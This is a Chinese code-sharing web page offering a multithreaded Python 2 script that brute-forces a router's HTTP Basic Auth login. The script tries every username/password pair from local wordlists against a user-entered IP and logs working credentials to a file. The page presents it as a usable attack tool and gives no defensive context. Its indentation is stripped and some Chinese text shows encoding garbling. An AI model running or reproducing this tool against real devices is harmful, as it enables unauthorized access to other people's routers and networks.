python實現(xiàn)多線程暴力破解登陸路由器功能代碼分享
運行時請在其目錄下添加user.txt passwd.txt兩文件。否則會報錯。程序沒有加異常處理。代碼比較挫.....
#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):
def __init__(self,queue,passwd):
threading.Thread.__init__(self)
self.queue=queue
self.passwordlist=passwd
def run(self):
self.user=queue.get()
for self.passwd in self.passwordlist:
request = urllib2.Request("http://"+target)
psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
request.add_header('Authorization', psw_base64)
try:
response = urllib2.urlopen(request)
print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
fp3 = open('log.txt','a')
fp3.write(self.user+'||'+self.passwd+'\r\n')
fp3.close()
except urllib2.HTTPError:
print "[-]password:%s Error!" % (self.passwd)
if __name__ == '__main__':
print '''
#######################################################
# #
# Routing brute force tool #
# #
# by:well #
# #
#######################################################
'''
passwordlist = []
line = 20
threads = []
global target
target = raw_input("input ip:")
fp =open("user.txt")
fp2=open("passwd.txt")
for user in fp.readlines():
queue.put(user.split('\n')[0])
for passwd in fp2.readlines():
passwordlist.append(passwd.split('\n')[0])
#print passwordlist
fp.close()
fp2.close()
for i in range(line):
a = Rout_thread(queue,passwordlist)
a.start()
threads.append(a)
for j in threads:
j.join()
- python用裝飾器自動注冊Tornado路由詳解
- Python3控制路由器——使用requests重啟極路由.py
- Python 中urls.py:URL dispatcher(路由配置文件)詳解
- Python操作RabbitMQ服務(wù)器實現(xiàn)消息隊列的路由功能
- python 3.5實現(xiàn)檢測路由器流量并寫入txt的方法實例
- python實現(xiàn)dijkstra最短路由算法
- Python Django基礎(chǔ)二之URL路由系統(tǒng)
- Python采用socket模擬TCP通訊的實現(xiàn)方法
- 用Python實現(xiàn)一個簡單的多線程TCP服務(wù)器的教程
- Python實現(xiàn)TCP探測目標服務(wù)路由軌跡的原理與方法詳解
相關(guān)文章
python中pandas庫中DataFrame對行和列的操作使用方法示例
這篇文章主要介紹了python中pandas庫中DataFrame對行和列的操作使用方法示例,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-06-06Python Django安裝配置模板系統(tǒng)及使用實戰(zhàn)全面詳解
本文首先介紹了Django模板系統(tǒng)的基礎(chǔ)知識,接著探討了如何安裝和配置Django模板系統(tǒng),然后深入解析了Django模板的基本結(jié)構(gòu)、標簽和過濾器的用法,闡述了如何在模板中展示模型數(shù)據(jù),最后使用一個實際項目的例子來演示如何在實際開發(fā)中使用Django模板系統(tǒng)2023-09-09對python中arange()和linspace()的區(qū)別說明
這篇文章主要介紹了對python中arange()和linspace()的區(qū)別說明,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-05-05python報錯: ''list'' object has no attribute ''shape''的解決
這篇文章主要介紹了python報錯: 'list' object has no attribute 'shape'的解決,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-07-07